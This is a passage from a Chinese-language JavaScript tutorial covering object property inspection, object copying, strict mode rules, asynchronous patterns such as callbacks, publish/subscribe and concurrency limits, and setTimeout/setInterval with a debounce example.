上面代码中,构造函数C的原型对象被改成了p,但是实例对象的c.constructor.prototype却没有指向p。所以,在改变原型对象时,一般要同时设置constructor属性。

1
2
3
4
5
C.prototype = p;
C.prototype.constructor = C;

var c = new C();
c.constructor.prototype === p // true

因此,推荐使用第三种Object.getPrototypeOf方法,获取原型对象。

Object.getOwnPropertyNames()

Object.getOwnPropertyNames方法返回一个数组,成员是参数对象本身的所有属性的键名,不包含继承的属性键名。

1
2
Object.getOwnPropertyNames(Date)
// ["parse", "arguments", "UTC", "caller", "name", "prototype", "now", "length"]

上面代码中,Object.getOwnPropertyNames方法返回Date所有自身的属性名。

对象本身的属性之中,有的是可以遍历的(enumerable),有的是不可以遍历的。Object.getOwnPropertyNames方法返回所有键名,不管是否可以遍历。只获取那些可以遍历的属性,使用Object.keys方法。

1
Object.keys(Date) // []

上面代码表明,Date对象所有自身的属性,都是不可以遍历的。

Object.prototype.hasOwnProperty()

对象实例的hasOwnProperty方法返回一个布尔值,用于判断某个属性定义在对象自身,还是定义在原型链上。

1
2
Date.hasOwnProperty('length') // true
Date.hasOwnProperty('toString') // false

上面代码表明,Date.length(构造函数Date可以接受多少个参数)是Date自身的属性,Date.toString是继承的属性。

另外,hasOwnProperty方法是 JavaScript 之中唯一一个处理对象属性时,不会遍历原型链的方法。

in 运算符和 for…in 循环

in运算符返回一个布尔值,表示一个对象是否具有某个属性。它不区分该属性是对象自身的属性,还是继承的属性。

1
2
'length' in Date // true
'toString' in Date // true

in运算符常用于检查一个属性是否存在。

获得对象的所有可遍历属性(不管是自身的还是继承的),可以使用for...in循环。

1
2
3
4
5
6
7
8
9
10
11
var o1 = { p1: 123 };

var o2 = Object.create(o1, {
p2: { value: "abc", enumerable: true }
});

for (p in o2) {
console.info(p);
}
// p2
// p1

上面代码中,对象o2p2属性是自身的,p1属性是继承的。这两个属性都会被for...in循环遍历。

为了在for...in循环中获得对象自身的属性,可以采用hasOwnProperty方法判断一下。

1
2
3
4
5
for ( var name in object ) {
if ( object.hasOwnProperty(name) ) {
/* loop code */
}
}

获得对象的所有属性(不管是自身的还是继承的,也不管是否可枚举),可以使用下面的函数。

1
2
3
4
5
6
7
8
9
10
function inheritedPropertyNames(obj) {
var props = {};
while(obj) {
Object.getOwnPropertyNames(obj).forEach(function(p) {
props[p] = true;
});
obj = Object.getPrototypeOf(obj);
}
return Object.getOwnPropertyNames(props);
}

上面代码依次获取obj对象的每一级原型对象“自身”的属性,从而获取obj对象的“所有”属性,不管是否可遍历。

下面是一个例子,列出Date对象的所有属性。

1
2
3
4
5
6
7
8
inheritedPropertyNames(Date)
// [
// "caller",
// "constructor",
// "toString",
// "UTC",
// ...
// ]

对象的拷贝

如果要拷贝一个对象,需要做到下面两件事情。

  • 确保拷贝后的对象,与原对象具有同样的原型。
  • 确保拷贝后的对象,与原对象具有同样的实例属性。

下面就是根据上面两点,实现的对象拷贝函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function copyObject(orig) {
var copy = Object.create(Object.getPrototypeOf(orig));
copyOwnPropertiesFrom(copy, orig);
return copy;
}

function copyOwnPropertiesFrom(target, source) {
Object
.getOwnPropertyNames(source)
.forEach(function (propKey) {
var desc = Object.getOwnPropertyDescriptor(source, propKey);
Object.defineProperty(target, propKey, desc);
});
return target;
}

另一种更简单的写法,是利用 ES2017 才引入标准的Object.getOwnPropertyDescriptors方法。

1
2
3
4
5
6
function copyObject(orig) {
return Object.create(
Object.getPrototypeOf(orig),
Object.getOwnPropertyDescriptors(orig)
);
}

参考链接

严格模式

除了正常的运行模式,JavaScript 还有第二种运行模式:严格模式(strict mode)。顾名思义,这种模式采用更加严格的 JavaScript 语法。

同样的代码,在正常模式和严格模式中,可能会有不一样的运行结果。一些在正常模式下可以运行的语句,在严格模式下将不能运行。

设计目的

早期的 JavaScript 语言有很多设计不合理的地方,但是为了兼容以前的代码,又不能改变老的语法,只能不断添加新的语法,引导程序员使用新语法。

严格模式是从 ES5 进入标准的,主要目的有以下几个。

  • 明确禁止一些不合理、不严谨的语法,减少 JavaScript 语言的一些怪异行为。
  • 增加更多报错的场合,消除代码运行的一些不安全之处,保证代码运行的安全。
  • 提高编译器效率,增加运行速度。
  • 为未来新版本的 JavaScript 语法做好铺垫。

总之,严格模式体现了 JavaScript 更合理、更安全、更严谨的发展方向。

启用方法

进入严格模式的标志,是一行字符串use strict

1
'use strict';

老版本的引擎会把它当作一行普通字符串,加以忽略。新版本的引擎就会进入严格模式。

严格模式可以用于整个脚本,也可以只用于单个函数。

(1) 整个脚本文件

use strict放在脚本文件的第一行,整个脚本都将以严格模式运行。如果这行语句不在第一行就无效,整个脚本会以正常模式运行。(严格地说,只要前面不是产生实际运行结果的语句,use strict可以不在第一行,比如直接跟在一个空的分号后面,或者跟在注释后面。)

1
2
3
4
5
6
7
8
<script>
'use strict';
console.log('这是严格模式');
</script>

<script>
console.log('这是正常模式');
</script>

上面代码中,一个网页文件依次有两段 JavaScript 代码。前一个<script>标签是严格模式,后一个不是。

如果use strict写成下面这样,则不起作用,严格模式必须从代码一开始就生效。

1
2
3
4
<script>
console.log('这是正常模式');
'use strict';
</script>

(2)单个函数

use strict放在函数体的第一行,则整个函数以严格模式运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function strict() {
'use strict';
return '这是严格模式';
}

function strict2() {
'use strict';
function f() {
return '这也是严格模式';
}
return f();
}

function notStrict() {
return '这是正常模式';
}

有时,需要把不同的脚本合并在一个文件里面。如果一个脚本是严格模式,另一个脚本不是,它们的合并就可能出错。严格模式的脚本在前,则合并后的脚本都是严格模式;如果正常模式的脚本在前,则合并后的脚本都是正常模式。这两种情况下,合并后的结果都是不正确的。这时可以考虑把整个脚本文件放在一个立即执行的匿名函数之中。

1
2
3
4
(function () {
'use strict';
// some code here
})();

显式报错

严格模式使得 JavaScript 的语法变得更严格,更多的操作会显式报错。其中有些操作,在正常模式下只会默默地失败,不会报错。

只读属性不可写

严格模式下,设置字符串的length属性,会报错。

1
2
3
'use strict';
'abc'.length = 5;
// TypeError: Cannot assign to read only property 'length' of string 'abc'

上面代码报错,因为length是只读属性,严格模式下不可写。正常模式下,改变length属性是无效的,但不会报错。

严格模式下,对只读属性赋值,或者删除不可配置(non-configurable)属性都会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 对只读属性赋值会报错
'use strict';
Object.defineProperty({}, 'a', {
value: 37,
writable: false
});
obj.a = 123;
// TypeError: Cannot assign to read only property 'a' of object #<Object>

// 删除不可配置的属性会报错
'use strict';
var obj = Object.defineProperty({}, 'p', {
value: 1,
configurable: false
});
delete obj.p
// TypeError: Cannot delete property 'p' of #<Object>

只设置了取值器的属性不可写

严格模式下,对一个只有取值器(getter)、没有存值器(setter)的属性赋值,会报错。

1
2
3
4
5
6
'use strict';
var obj = {
get v() { return 1; }
};
obj.v = 2;
// Uncaught TypeError: Cannot set property v of #<Object> which has only a getter

上面代码中,obj.v只有取值器,没有存值器,对它进行赋值就会报错。

禁止扩展的对象不可扩展

严格模式下,对禁止扩展的对象添加新属性,会报错。

1
2
3
4
5
'use strict';
var obj = {};
Object.preventExtensions(obj);
obj.v = 1;
// Uncaught TypeError: Cannot add property v, object is not extensible

上面代码中,obj对象禁止扩展,添加属性就会报错。

eval、arguments 不可用作标识名

严格模式下,使用eval或者arguments作为标识名,将会报错。下面的语句都会报错。

1
2
3
4
5
6
7
8
9
10
'use strict';
var eval = 17;
var arguments = 17;
var obj = { set p(arguments) { } };
try { } catch (arguments) { }
function x(eval) { }
function arguments() { }
var y = function eval() { };
var f = new Function('arguments', "'use strict'; return 17;");
// SyntaxError: Unexpected eval or arguments in strict mode

函数不能有重名的参数

正常模式下,如果函数有多个重名的参数,可以用arguments[i]读取。严格模式下,这属于语法错误。

1
2
3
4
5
function f(a, a, b) {
'use strict';
return a + b;
}
// Uncaught SyntaxError: Duplicate parameter name not allowed in this context

禁止八进制的前缀0表示法

正常模式下,整数的第一位如果是0,表示这是八进制数,比如0100等于十进制的64。严格模式禁止这种表示法,整数第一位为0,将报错。

1
2
3
'use strict';
var n = 0100;
// Uncaught SyntaxError: Octal literals are not allowed in strict mode.

增强的安全措施

严格模式增强了安全保护,从语法上防止了一些不小心会出现的错误。

全局变量显式声明

正常模式中,如果一个变量没有声明就赋值,默认是全局变量。严格模式禁止这种用法,全局变量必须显式声明。

1
2
3
4
5
6
7
8
9
10
11
12
'use strict';

v = 1; // 报错,v未声明

for (i = 0; i < 2; i++) { // 报错,i 未声明
// ...
}

function f() {
x = 123;
}
f() // 报错,未声明就创建一个全局变量

因此,严格模式下,变量都必须先声明,然后再使用。

禁止 this 关键字指向全局对象

正常模式下,函数内部的this可能会指向全局对象,严格模式禁止这种用法,避免无意间创造全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
// 正常模式
function f() {
console.log(this === window);
}
f() // true

// 严格模式
function f() {
'use strict';
console.log(this === undefined);
}
f() // true

上面代码中,严格模式的函数体内部thisundefined

这种限制对于构造函数尤其有用。使用构造函数时,有时忘了加new,这时this不再指向全局对象,而是报错。

1
2
3
4
5
6
function f() {
'use strict';
this.a = 1;
};

f();// 报错,this 未定义

严格模式下,函数直接调用时(不使用new调用),函数内部的this表示undefined(未定义),因此可以用callapplybind方法,将任意值绑定在this上面。正常模式下,this指向全局对象,如果绑定的值是非对象,将被自动转为对象再绑定上去,而nullundefined这两个无法转成对象的值,将被忽略。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 正常模式
function fun() {
return this;
}

fun() // window
fun.call(2) // Number {2}
fun.call(true) // Boolean {true}
fun.call(null) // window
fun.call(undefined) // window

// 严格模式
'use strict';
function fun() {
return this;
}

fun() //undefined
fun.call(2) // 2
fun.call(true) // true
fun.call(null) // null
fun.call(undefined) // undefined

上面代码中,可以把任意类型的值,绑定在this上面。

禁止使用 fn.callee、fn.caller

函数内部不得使用fn.callerfn.arguments,否则会报错。这意味着不能在函数内部得到调用栈了。

1
2
3
4
5
6
7
function f1() {
'use strict';
f1.caller; // 报错
f1.arguments; // 报错
}

f1();

禁止使用 arguments.callee、arguments.caller

arguments.calleearguments.caller是两个历史遗留的变量,从来没有标准化过,现在已经取消了。正常模式下调用它们没有什么作用,但是不会报错。严格模式明确规定,函数内部使用arguments.calleearguments.caller将会报错。

1
2
3
4
5
6
'use strict';
var f = function () {
return arguments.callee;
};

f(); // 报错

禁止删除变量

严格模式下无法删除变量,如果使用delete命令删除一个变量,会报错。只有对象的属性,且属性的描述对象的configurable属性设置为true,才能被delete命令删除。

1
2
3
4
5
6
7
8
9
10
11
'use strict';
var x;
delete x; // 语法错误

var obj = Object.create(null, {
x: {
value: 1,
configurable: true
}
});
delete obj.x; // 删除成功

静态绑定

JavaScript 语言的一个特点,就是允许“动态绑定”,即某些属性和方法到底属于哪一个对象,不是在编译时确定的,而是在运行时(runtime)确定的。

严格模式对动态绑定做了一些限制。某些情况下,只允许静态绑定。也就是说,属性和方法到底归属哪个对象,必须在编译阶段就确定。这样做有利于编译效率的提高,也使得代码更容易阅读,更少出现意外。

具体来说,涉及以下几个方面。

禁止使用 with 语句

严格模式下,使用with语句将报错。因为with语句无法在编译时就确定,某个属性到底归属哪个对象,从而影响了编译效果。

1
2
3
4
5
6
7
8
'use strict';
var v = 1;
var obj = {};

with (obj) {
v = 2;
}
// Uncaught SyntaxError: Strict mode code may not include a with statement

创设 eval 作用域

正常模式下,JavaScript 语言有两种变量作用域(scope):全局作用域和函数作用域。严格模式创设了第三种作用域:eval作用域。

正常模式下,eval语句的作用域,取决于它处于全局作用域,还是函数作用域。严格模式下,eval语句本身就是一个作用域,不再能够在其所运行的作用域创设新的变量了,也就是说,eval所生成的变量只能用于eval内部。

1
2
3
4
5
6
(function () {
'use strict';
var x = 2;
console.log(eval('var x = 5; x')) // 5
console.log(x) // 2
})()

上面代码中,由于eval语句内部是一个独立作用域,所以内部的变量x不会泄露到外部。

注意,如果希望eval语句也使用严格模式,有两种方式。

1
2
3
4
5
6
7
8
9
10
11
12
// 方式一
function f1(str){
'use strict';
return eval(str);
}
f1('undeclared_variable = 1'); // 报错

// 方式二
function f2(str){
return eval(str);
}
f2('"use strict";undeclared_variable = 1') // 报错

上面两种写法,eval内部使用的都是严格模式。

arguments 不再追踪参数的变化

变量arguments代表函数的参数。严格模式下,函数内部改变参数与arguments的联系被切断了,两者不再存在联动关系。

1
2
3
4
5
6
7
8
9
10
11
12
function f(a) {
a = 2;
return [a, arguments[0]];
}
f(1); // 正常模式为[2, 2]

function f(a) {
'use strict';
a = 2;
return [a, arguments[0]];
}
f(1); // 严格模式为[2, 1]

上面代码中,改变函数的参数,不会反应到arguments对象上来。

向下一个版本的 JavaScript 过渡

JavaScript 语言的下一个版本是 ECMAScript 6,为了平稳过渡,严格模式引入了一些 ES6 语法。

非函数代码块不得声明函数

ES6 会引入块级作用域。为了与新版本接轨,ES5 的严格模式只允许在全局作用域或函数作用域声明函数。也就是说,不允许在非函数的代码块内声明函数。

1
2
3
4
5
6
7
8
'use strict';
if (true) {
function f1() { } // 语法错误
}

for (var i = 0; i < 5; i++) {
function f2() { } // 语法错误
}

上面代码在if代码块和for代码块中声明了函数,ES5 环境会报错。

注意,如果是 ES6 环境,上面的代码不会报错,因为 ES6 允许在代码块之中声明函数。

保留字

为了向将来 JavaScript 的新版本过渡,严格模式新增了一些保留字(implements、interface、let、package、private、protected、public、static、yield等)。使用这些词作为变量名将会报错。

1
2
3
4
function package(protected) { // 语法错误
'use strict';
var implements; // 语法错误
}

参考链接

异步操作

异步操作概述

单线程模型

单线程模型指的是,JavaScript 只在一个线程上运行。也就是说,JavaScript 同时只能执行一个任务,其他任务都必须在后面排队等待。

注意,JavaScript 只在一个线程上运行,不代表 JavaScript 引擎只有一个线程。事实上,JavaScript 引擎有多个线程,单个脚本只能在一个线程上运行(称为主线程),其他线程都是在后台配合。

JavaScript 之所以采用单线程,而不是多线程,跟历史有关系。JavaScript 从诞生起就是单线程,原因是不想让浏览器变得太复杂,因为多线程需要共享资源、且有可能修改彼此的运行结果,对于一种网页脚本语言来说,这就太复杂了。如果 JavaScript 同时有两个线程,一个线程在网页 DOM 节点上添加内容,另一个线程删除了这个节点,这时浏览器应该以哪个线程为准?是不是还要有锁机制?所以,为了避免复杂性,JavaScript 一开始就是单线程,这已经成了这门语言的核心特征,将来也不会改变。

这种模式的好处是实现起来比较简单,执行环境相对单纯;坏处是只要有一个任务耗时很长,后面的任务都必须排队等着,会拖延整个程序的执行。常见的浏览器无响应(假死),往往就是因为某一段 JavaScript 代码长时间运行(比如死循环),导致整个页面卡在这个地方,其他任务无法执行。JavaScript 语言本身并不慢,慢的是读写外部数据,比如等待 Ajax 请求返回结果。这个时候,如果对方服务器迟迟没有响应,或者网络不通畅,就会导致脚本的长时间停滞。

如果排队是因为计算量大,CPU 忙不过来,倒也算了,但是很多时候 CPU 是闲着的,因为 IO 操作(输入输出)很慢(比如 Ajax 操作从网络读取数据),不得不等着结果出来,再往下执行。JavaScript 语言的设计者意识到,这时 CPU 完全可以不管 IO 操作,挂起处于等待中的任务,先运行排在后面的任务。等到 IO 操作返回了结果,再回过头,把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“事件循环”机制(Event Loop)。

单线程模型虽然对 JavaScript 构成了很大的限制,但也因此使它具备了其他语言不具备的优势。如果用得好,JavaScript 程序是不会出现堵塞的,这就是为什么 Node 可以用很少的资源,应付大流量访问的原因。

为了利用多核 CPU 的计算能力,HTML5 提出 Web Worker 标准,允许 JavaScript 脚本创建多个线程,但是子线程完全受主线程控制,且不得操作 DOM。所以,这个新标准并没有改变 JavaScript 单线程的本质。

同步任务和异步任务

程序里面所有的任务,可以分成两类:同步任务(synchronous)和异步任务(asynchronous)。

同步任务是那些没有被引擎挂起、在主线程上排队执行的任务。只有前一个任务执行完毕,才能执行后一个任务。

异步任务是那些被引擎放在一边,不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了(比如 Ajax 操作从服务器得到了结果),该任务(采用回调函数的形式)才会进入主线程执行。排在异步任务后面的代码,不用等待异步任务结束会马上运行,也就是说,异步任务不具有“堵塞”效应。

举例来说,Ajax 操作可以当作同步任务处理,也可以当作异步任务处理,由开发者决定。如果是同步任务,主线程就等着 Ajax 操作返回结果,再往下执行;如果是异步任务,主线程在发出 Ajax 请求以后,就直接往下执行,等到 Ajax 操作有了结果,主线程再执行对应的回调函数。

任务队列和事件循环

JavaScript 运行时,除了一个正在运行的主线程,引擎还提供一个任务队列(task queue),里面是各种需要当前程序处理的异步任务。(实际上,根据异步任务的类型,存在多个任务队列。为了方便理解,这里假设只存在一个队列。)

首先,主线程会去执行所有的同步任务。等到同步任务全部执行完,就会去看任务队列里面的异步任务。如果满足条件,那么异步任务就重新进入主线程开始执行,这时它就变成同步任务了。等到执行完,下一个异步任务再进入主线程开始执行。一旦任务队列清空,程序就结束执行。

异步任务的写法通常是回调函数。一旦异步任务重新进入主线程,就会执行对应的回调函数。如果一个异步任务没有回调函数,就不会进入任务队列,也就是说,不会重新进入主线程,因为没有用回调函数指定下一步的操作。

JavaScript 引擎怎么知道异步任务有没有结果,能不能进入主线程呢?答案就是引擎在不停地检查,一遍又一遍,只要同步任务执行完了,引擎就会去检查那些挂起来的异步任务,是不是可以进入主线程了。这种循环检查的机制,就叫做事件循环(Event Loop)。维基百科的定义是:“事件循环是一个程序结构,用于等待和发送消息和事件(a programming construct that waits for and dispatches events or messages in a program)”。

异步操作的模式

下面总结一下异步操作的几种模式。

回调函数

回调函数是异步操作最基本的方法。

下面是两个函数f1f2,编程的意图是f2必须等到f1执行完成,才能执行。

1
2
3
4
5
6
7
8
9
10
function f1() {
// ...
}

function f2() {
// ...
}

f1();
f2();

上面代码的问题在于,如果f1是异步操作,f2会立即执行,不会等到f1结束再执行。

这时,可以考虑改写f1,把f2写成f1的回调函数。

1
2
3
4
5
6
7
8
9
10
function f1(callback) {
// ...
callback();
}

function f2() {
// ...
}

f1(f2);

回调函数的优点是简单、容易理解和实现,缺点是不利于代码的阅读和维护,各个部分之间高度耦合(coupling),使得程序结构混乱、流程难以追踪(尤其是多个回调函数嵌套的情况),而且每个任务只能指定一个回调函数。

事件监听

另一种思路是采用事件驱动模式。异步任务的执行不取决于代码的顺序,而取决于某个事件是否发生。

还是以f1f2为例。首先,为f1绑定一个事件(这里采用的 jQuery 的写法)。

1
f1.on('done', f2);

上面这行代码的意思是,当f1发生done事件,就执行f2。然后,对f1进行改写:

1
2
3
4
5
6
function f1() {
setTimeout(function () {
// ...
f1.trigger('done');
}, 1000);
}

上面代码中,f1.trigger('done')表示,执行完成后,立即触发done事件,从而开始执行f2

这种方法的优点是比较容易理解,可以绑定多个事件,每个事件可以指定多个回调函数,而且可以“去耦合”(decoupling),有利于实现模块化。缺点是整个程序都要变成事件驱动型,运行流程会变得很不清晰。阅读代码的时候,很难看出主流程。

发布/订阅

事件完全可以理解成“信号”,如果存在一个“信号中心”,某个任务执行完成,就向信号中心“发布”(publish)一个信号,其他任务可以向信号中心“订阅”(subscribe)这个信号,从而知道什么时候自己可以开始执行。这就叫做”发布/订阅模式”(publish-subscribe pattern),又称“观察者模式”(observer pattern)。

这个模式有多种实现,下面采用的是 Ben Alman 的 Tiny Pub/Sub,这是 jQuery 的一个插件。

首先,f2向信号中心jQuery订阅done信号。

1
jQuery.subscribe('done', f2);

然后,f1进行如下改写。

1
2
3
4
5
6
function f1() {
setTimeout(function () {
// ...
jQuery.publish('done');
}, 1000);
}

上面代码中,jQuery.publish('done')的意思是,f1执行完成后,向信号中心jQuery发布done信号,从而引发f2的执行。

f2完成执行后,可以取消订阅(unsubscribe)。

1
jQuery.unsubscribe('done', f2);

这种方法的性质与“事件监听”类似,但是明显优于后者。因为可以通过查看“消息中心”,了解存在多少信号、每个信号有多少订阅者,从而监控程序的运行。

异步操作的流程控制

如果有多个异步操作,就存在一个流程控制的问题:如何确定异步操作执行的顺序,以及如何保证遵守这种顺序。

1
2
3
4
function async(arg, callback) {
console.log('参数为 ' + arg +' , 1秒后返回结果');
setTimeout(function () { callback(arg * 2); }, 1000);
}

上面代码的async函数是一个异步任务,非常耗时,每次执行需要1秒才能完成,然后再调用回调函数。

如果有六个这样的异步任务,需要全部完成后,才能执行最后的final函数。请问应该如何安排操作流程?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function final(value) {
console.log('完成: ', value);
}

async(1, function (value) {
async(2, function (value) {
async(3, function (value) {
async(4, function (value) {
async(5, function (value) {
async(6, final);
});
});
});
});
});
// 参数为 1 , 1秒后返回结果
// 参数为 2 , 1秒后返回结果
// 参数为 3 , 1秒后返回结果
// 参数为 4 , 1秒后返回结果
// 参数为 5 , 1秒后返回结果
// 参数为 6 , 1秒后返回结果
// 完成: 12

上面代码中,六个回调函数的嵌套,不仅写起来麻烦,容易出错,而且难以维护。

串行执行

我们可以编写一个流程控制函数,让它来控制异步任务,一个任务完成以后,再执行另一个。这就叫串行执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
console.log('参数为 ' + arg +' , 1秒后返回结果');
setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
console.log('完成: ', value);
}

function series(item) {
if(item) {
async( item, function(result) {
results.push(result);
return series(items.shift());
});
} else {
return final(results[results.length - 1]);
}
}

series(items.shift());

上面代码中,函数series就是串行函数,它会依次执行异步任务,所有任务都完成后,才会执行final函数。items数组保存每一个异步任务的参数,results数组保存每一个异步任务的运行结果。

注意,上面的写法需要六秒,才能完成整个脚本。

并行执行

流程控制函数也可以是并行执行,即所有异步任务同时执行,等到全部完成以后,才执行final函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
console.log('参数为 ' + arg +' , 1秒后返回结果');
setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
console.log('完成: ', value);
}

items.forEach(function(item) {
async(item, function(result){
results.push(result);
if(results.length === items.length) {
final(results[results.length - 1]);
}
})
});

上面代码中,forEach方法会同时发起六个异步任务,等到它们全部完成以后,才会执行final函数。

相比而言,上面的写法只要一秒,就能完成整个脚本。这就是说,并行执行的效率较高,比起串行执行一次只能执行一个任务,较为节约时间。但是问题在于如果并行的任务较多,很容易耗尽系统资源,拖慢运行速度。因此有了第三种流程控制方式。

并行与串行的结合

所谓并行与串行的结合,就是设置一个门槛,每次最多只能并行执行n个异步任务,这样就避免了过分占用系统资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];
var running = 0;
var limit = 2;

function async(arg, callback) {
console.log('参数为 ' + arg +' , 1秒后返回结果');
setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
console.log('完成: ', value);
}

function launcher() {
while(running < limit && items.length > 0) {
var item = items.shift();
async(item, function(result) {
results.push(result);
running--;
if(items.length > 0) {
launcher();
} else if(running == 0) {
final(results);
}
});
running++;
}
}

launcher();

上面代码中,最多只能同时运行两个异步任务。变量running记录当前正在运行的任务数,只要低于门槛值,就再启动一个新的任务,如果等于0,就表示所有任务都执行完了,这时就执行final函数。

这段代码需要三秒完成整个脚本,处在串行执行和并行执行之间。通过调节limit变量,达到效率和资源的最佳平衡。

定时器

JavaScript 提供定时执行代码的功能,叫做定时器(timer),主要由setTimeout()setInterval()这两个函数来完成。它们向任务队列添加定时任务。

setTimeout()

setTimeout函数用来指定某个函数或某段代码,在多少毫秒之后执行。它返回一个整数,表示定时器的编号,以后可以用来取消这个定时器。

1
var timerId = setTimeout(func|code, delay);

上面代码中,setTimeout函数接受两个参数,第一个参数func|code是将要推迟执行的函数名或者一段代码,第二个参数delay是推迟执行的毫秒数。

1
2
3
4
5
6
console.log(1);
setTimeout('console.log(2)',1000);
console.log(3);
// 1
// 3
// 2

上面代码会先输出1和3,然后等待1000毫秒再输出2。注意,console.log(2)必须以字符串的形式,作为setTimeout的参数。

如果推迟执行的是函数,就直接将函数名,作为setTimeout的参数。

1
2
3
4
5
function f() {
console.log(2);
}

setTimeout(f, 1000);

setTimeout的第二个参数如果省略,则默认为0。

1
2
3
setTimeout(f)
// 等同于
setTimeout(f, 0)

除了前两个参数,setTimeout还允许更多的参数。它们将依次传入推迟执行的函数(回调函数)。

1
2
3
setTimeout(function (a,b) {
console.log(a + b);
}, 1000, 1, 1);

上面代码中,setTimeout共有4个参数。最后那两个参数,将在1000毫秒之后回调函数执行时,作为回调函数的参数。

还有一个需要注意的地方,如果回调函数是对象的方法,那么setTimeout使得方法内部的this关键字指向全局环境,而不是定义时所在的那个对象。

1
2
3
4
5
6
7
8
9
10
var x = 1;

var obj = {
x: 2,
y: function () {
console.log(this.x);
}
};

setTimeout(obj.y, 1000) // 1

上面代码输出的是1,而不是2。因为当obj.y在1000毫秒后运行时,this所指向的已经不是obj了,而是全局环境。

为了防止出现这个问题,一种解决方法是将obj.y放入一个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
var x = 1;

var obj = {
x: 2,
y: function () {
console.log(this.x);
}
};

setTimeout(function () {
obj.y();
}, 1000);
// 2

上面代码中,obj.y放在一个匿名函数之中,这使得obj.yobj的作用域执行,而不是在全局作用域内执行,所以能够显示正确的值。

另一种解决方法是,使用bind方法,将obj.y这个方法绑定在obj上面。

1
2
3
4
5
6
7
8
9
10
11
var x = 1;

var obj = {
x: 2,
y: function () {
console.log(this.x);
}
};

setTimeout(obj.y.bind(obj), 1000)
// 2

setInterval()

setInterval函数的用法与setTimeout完全一致,区别仅仅在于setInterval指定某个任务每隔一段时间就执行一次,也就是无限次的定时执行。

1
2
3
4
var i = 1
var timer = setInterval(function() {
console.log(2);
}, 1000)

上面代码中,每隔1000毫秒就输出一个2,会无限运行下去,直到关闭当前窗口。

setTimeout一样,除了前两个参数,setInterval方法还可以接受更多的参数,它们会传入回调函数。

下面是一个通过setInterval方法实现网页动画的例子。

1
2
3
4
5
6
7
8
9
10
var div = document.getElementById('someDiv');
var opacity = 1;
var fader = setInterval(function() {
  opacity -= 0.1;
  if (opacity >= 0) {
    div.style.opacity = opacity;
  } else {
    clearInterval(fader);
  }
}, 100);

上面代码每隔100毫秒,设置一次div元素的透明度,直至其完全透明为止。

setInterval的一个常见用途是实现轮询。下面是一个轮询 URL 的 Hash 值是否发生变化的例子。

1
2
3
4
5
6
var hash = window.location.hash;
var hashWatcher = setInterval(function() {
  if (window.location.hash != hash) {
    updatePage();
  }
}, 1000);

setInterval指定的是“开始执行”之间的间隔,并不考虑每次任务执行本身所消耗的时间。因此实际上,两次执行之间的间隔会小于指定的时间。比如,setInterval指定每 100ms 执行一次,每次执行需要 5ms,那么第一次执行结束后95毫秒,第二次执行就会开始。如果某次执行耗时特别长,比如需要105毫秒,那么它结束后,下一次执行就会立即开始。

为了确保两次执行之间有固定的间隔,可以不用setInterval,而是每次执行结束后,使用setTimeout指定下一次执行的具体时间。

1
2
3
4
5
var i = 1;
var timer = setTimeout(function f() {
// ...
timer = setTimeout(f, 2000);
}, 2000);

上面代码可以确保,下一次执行总是在本次执行结束之后的2000毫秒开始。

clearTimeout(),clearInterval()

setTimeoutsetInterval函数,都返回一个整数值,表示计数器编号。将该整数传入clearTimeoutclearInterval函数,就可以取消对应的定时器。

1
2
3
4
5
var id1 = setTimeout(f, 1000);
var id2 = setInterval(f, 1000);

clearTimeout(id1);
clearInterval(id2);

上面代码中,回调函数f不会再执行了,因为两个定时器都被取消了。

setTimeoutsetInterval返回的整数值是连续的,也就是说,第二个setTimeout方法返回的整数值,将比第一个的整数值大1。

1
2
3
4
function f() {}
setTimeout(f, 1000) // 10
setTimeout(f, 1000) // 11
setTimeout(f, 1000) // 12

上面代码中,连续调用三次setTimeout,返回值都比上一次大了1。

利用这一点,可以写一个函数,取消当前所有的setTimeout定时器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(function() {
// 每轮事件循环检查一次
var gid = setInterval(clearAllTimeouts, 0);

function clearAllTimeouts() {
var id = setTimeout(function() {}, 0);
while (id > 0) {
if (id !== gid) {
clearTimeout(id);
}
id--;
}
}
})();

上面代码中,先调用setTimeout,得到一个计算器编号,然后把编号比它小的计数器全部取消。

实例:debounce 函数

有时,我们不希望回调函数被频繁调用。比如,用户填入网页输入框的内容,希望通过 Ajax 方法传回服务器,jQuery 的写法如下。

1
$('textarea').on('keydown', ajaxAction);

这样写有一个很大的缺点,就是如果用户连续击键,就会连续触发keydown事件,造成大量的 Ajax 通信。这是不必要的,而且很可能产生性能问题。正确的做法应该是,设置一个门槛值,表示两次 Ajax 通信的最小间隔时间。如果在间隔时间内,发生新的keydown事件,则不触发 Ajax 通信,并且重新开始计时。如果过了指定时间,没有发生新的keydown事件,再将数据发送出去。

这种做法叫做 debounce(防抖动)。假定两次 Ajax 通信的间隔不得小于2500毫秒,上面的代码可以改写成下面这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
$('textarea').on('keydown', debounce(ajaxAction, 2500));

function debounce(fn, delay){
var timer = null; // 声明计时器
return function() {
var context = this;
var args = arguments;
clearTimeout(timer);
timer = setTimeout(function () {
fn.apply(context, args);
}, delay);
};
}

上面代码中,只要在2500毫秒之内,用户再次击键,就会取消上一次的定时器,然后再新建一个定时器。这样就保证了回调函数之间的调用间隔,至少是2500毫秒。

运行机制

